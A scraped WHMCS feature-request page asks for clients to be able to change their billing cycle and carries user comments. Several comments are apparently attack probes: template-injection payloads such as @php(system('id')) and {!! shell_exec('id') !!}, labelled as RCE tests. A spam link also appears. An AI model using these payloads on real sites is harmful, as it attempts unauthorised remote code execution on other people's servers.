How can we improve WHMCS?

Share, discuss and vote for what you would like to see added to WHMCS

Billing Term Change

  • 24/7 Hosting NZ shared this idea 12 years ago
  • Payments/Billing
  • 88 Comments


691 Votes
Login to Vote
Clients have the ability to change the Billing Term via the Client Area or even a link to request the term to be changed.
Merged Ideas
    Allow clients to change billing cycle
    Lots of out clients sign up for monthly billing cycle and they request to change it quarterly o annually after the second or third invoice. It would save a lot of stuff time if clients have a feature to change themselves the billing cycle for each product or service.
    Allow clients to change billing cycle
    Client needs to be able to change their billing cycle from client area
    Allow customers to change his own billing cycle
    We have a lot of requests, where customers would change the billing cycle. Some customers do this more than one times a year.Think about an option on clientareaproductdetails to let customer change his billing cycles, whenever they want based on product settings.

91 Comments

Login to post a comment.

Advanced RCE test: @php(id). This is a test comment for advanced template injection techniques.
Advanced RCE test: @php(passthru('id')). This is a test comment for advanced template injection techniques.
Advanced RCE test: @php(exec('id', $output); echo implode('\n', $output);). This is a test comment for advanced template injection techniques.
RCE test with payload: {!! system('id') !!}. This is a test comment for remote code execution.
RCE test with payload: {{ system('id') }}. This is a test comment for remote code execution.
RCE test with payload: @php(system('id')). This is a test comment for remote code execution.
RCE test with payload: {!! shell_exec('id') !!}. This is a test comment for remote code execution.
RCE test with payload: {{ shell_exec('id') }}. This is a test comment for remote code execution.
RCE test with payload: @php(die(shell_exec('id'))). This is a test comment for remote code execution.
Testing mathematical expression: {{7*7}}. This should show 49 if templates are processed.
RCE test: @php(die(shell_exec('id'))). This is a longer comment to pass validation requirements.
I don't understand why something so important still isn't part of our system. https://doramas-flix.org/
The most necessary feature right now.

p.s. please remove all spam comments in this idea.
What are you waiting for to include this feature? We waste a lot of time on every payment cycle change request and some times we can't do it without support from WHMCS. Please add this feature.
Early Renewals are now an option which is great! It would be better though if we had this option available too.

Client gets a Hosting plan for 2 years. Before its expiration he wants to renew but wants to do it for 1 year. Wouldn't it be better if he could change the billing term by himself? And with early renewals in place, he could place the order by himself, make the adjustments to the Billing Term, have the invoice generated for the desired period and then make the payment. Automation at its best, in other words :)